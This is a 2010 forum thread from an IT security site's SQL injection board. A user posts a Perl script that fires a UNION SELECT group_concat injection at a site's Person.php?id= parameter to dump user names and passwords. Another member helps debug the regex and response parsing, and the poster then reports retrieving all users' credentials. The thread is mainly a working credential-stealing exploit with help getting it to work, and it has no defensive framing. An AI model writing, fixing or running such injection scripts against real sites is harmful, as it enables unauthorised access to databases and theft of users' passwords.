|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 86
Members: 0
Total: 86
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Perl SQL injection exploit |
|
Posted: Wed May 26, 2010 9:42 am |
|
|
acce55 |
Regular user |
|
|
Joined: Aug 22, 2009 |
Posts: 9 |
|
|
|
|
|
|
|
Im writing a exploit and wondering if anyone can perfect this exploit because im gettting no usernaem or password
heres it
Code: |
#!/usr/bin/perl -w
use LWP::UserAgent;
my $host = "http://www.blahblahblah.com/blahblah/";
my $target = "Person.php?id=";
my $sql = "225%20union%20all%20select%201,group_concat
(id,0x7c,First,0x3a,Last,0x3a,Password)%20from%20person--";
my $hack = $host.$target.$sql;
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $ua->request(HTTP::Request->new(GET=>$hack));
my $answer = $req->content;
if($answer =~ /First:(.*)|Password:(.)</) {
print "[+] exploit succeed fetching admin cridentials\n";
sleep(3);
print "admin username: $1\n";
}
|
did i make any mistakes in the code above?
in the sql tables there are a First(first name) and THe password as Password..im just trying to grab those and put them in my results...... |
|
|
|
|
|
|
|
|
Posted: Wed May 26, 2010 10:08 am |
|
|
vince213333 |
Advanced user |
|
|
Joined: Aug 03, 2009 |
Posts: 737 |
Location: Belgium |
|
|
|
|
|
|
I don't really get your regular expression
Code: | if($answer =~ /First:(.*)|Password:(.)</) |
Your SQL query is:
Code: | (id,0x7c,First,0x3a,Last,0x3a,Password) |
Which will output something like:
But I believe you expect the result of the query to be:
Code: | id:1|First:John|Last:Doe|Password:MyPass |
Try changing your regex to
Code: | if($answer =~ /(.+)|(.+):(.+)/) |
Not 100% sure but I believe it should be something like that. Didn't write any perl for a while though |
|
|
|
|
Posted: Wed May 26, 2010 10:50 am |
|
|
acce55 |
Regular user |
|
|
Joined: Aug 22, 2009 |
Posts: 9 |
|
|
|
|
|
|
|
I wish i could get this to work....for skills but the output is not what i need
admin username: <html> |
|
|
|
|
Posted: Wed May 26, 2010 11:07 am |
|
|
vince213333 |
Advanced user |
|
|
Joined: Aug 03, 2009 |
Posts: 737 |
Location: Belgium |
|
|
|
|
|
|
I think I know what the problem is. You get the content of the webpage (starting with the <html> tag), but you don't cycle through each line, you only check the first line with your regular expression
I believe you should put the $req->content in an array and then process it in a foreach loop. |
|
|
|
|
Posted: Wed May 26, 2010 11:22 am |
|
|
acce55 |
Regular user |
|
|
Joined: Aug 22, 2009 |
Posts: 9 |
|
|
|
|
|
|
|
i got them all..all the user from fixing the sql query. |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|